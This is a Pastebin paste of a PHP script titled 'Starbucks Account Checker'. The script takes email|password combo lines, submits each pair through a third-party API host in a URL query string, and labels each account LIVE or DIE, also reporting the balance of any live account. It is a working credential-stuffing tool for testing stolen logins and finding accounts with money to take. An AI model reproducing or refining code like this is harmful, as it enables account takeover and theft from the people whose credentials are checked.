rootasuna

Starbucks Account Checker

Oct 11th, 2018
1,590
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.79 KB | None | 0 0
  1. <?php
  2. date_default_timezone_set("Asia/Jakarta");
  3. $format = $_POST['mailpass'];
  4. $pisah = explode("|", $format);
  5. $sock = $_POST['sock'];
  6. $hasil = array();
  7.  
  8. if (!isset($format)) {
  9. header('location: ./');
  10. exit;
  11. }
  12. require 'includes/class_curl.php';
  13. if (isset($format)){
  14.  
  15. // cek wrong
  16. if ($pisah[1] == '' || $pisah[1] == null) {
  17. die('{"error":-1,"msg":"<font color=red><b>UNKNOWN</b></font> | Unable to checking"}');
  18. }
  19. $curl = new curl();
  20. $curl->cookies('simpan/'.md5($_SERVER['REMOTE_ADDR']).'.txt');
  21. $curl->ssl(0, 2);
  22.  
  23. $url = "https://hxr.nakocoders.org/api/sbux/api.php?emailna={$pisah[0]}&passwordna={$pisah[1]}";
  24.  
  25.  
  26. $page = $curl->get($url);
  27.  
  28. if ($page) {
  29. $token = getStr($page,'<input type="hidden" name="token" value="','" />');
  30. $page = $curl->post($url);
  31.  
  32. if (inStr($page, "Account Die")) {
  33. die('{"error":2,"msg":"<font color=red><b>DIE</b></font> | '.$pisah[0].' | '.$pisah[1].'"}');
  34. } else if (inStr($page, "LIVE")) {
  35. // Grab Username
  36. $page_saldo = $curl->get("https://hxr.nakocoders.org/api/sbux/api.php?emailna={$pisah[0]}&passwordna={$pisah[1]}");
  37. $string_saldo = getStr($page_saldo, '#009933','</font');
  38. $potong = substr($string_saldo,2);
  39. if ($string_saldo == null) {
  40. $saldo = "No Balance | ";
  41. } else {
  42. $saldo = "<b>Saldo : $potong</b> |";
  43. }
  44. $result = array();
  45. $result['error'] = 0;
  46. $result['msg'] = '<font color=green><b>LIVE</b></font> | '.$pisah[0].' | '.$pisah[1].' | '.$saldo.' [ACC:SBUX]';
  47.  
  48. die(json_encode($result));
  49. } else {
  50. die('{"error":-1,"msg":"<font color=red><b>UNCHECK</b></font> | '.$pisah[0].' | '.$pisah[1].'"}');
  51. }
  52. } else {
  53. die('{"error":-1,"msg":"<font color=red><b>UNCHECK</b></font> | '.$pisah[0].' | '.$pisah[1].' | Unable to connect Sbux"}');
  54. }
  55. }
  56. ?>
Advertisement
Add Comment
Please, Sign In to add comment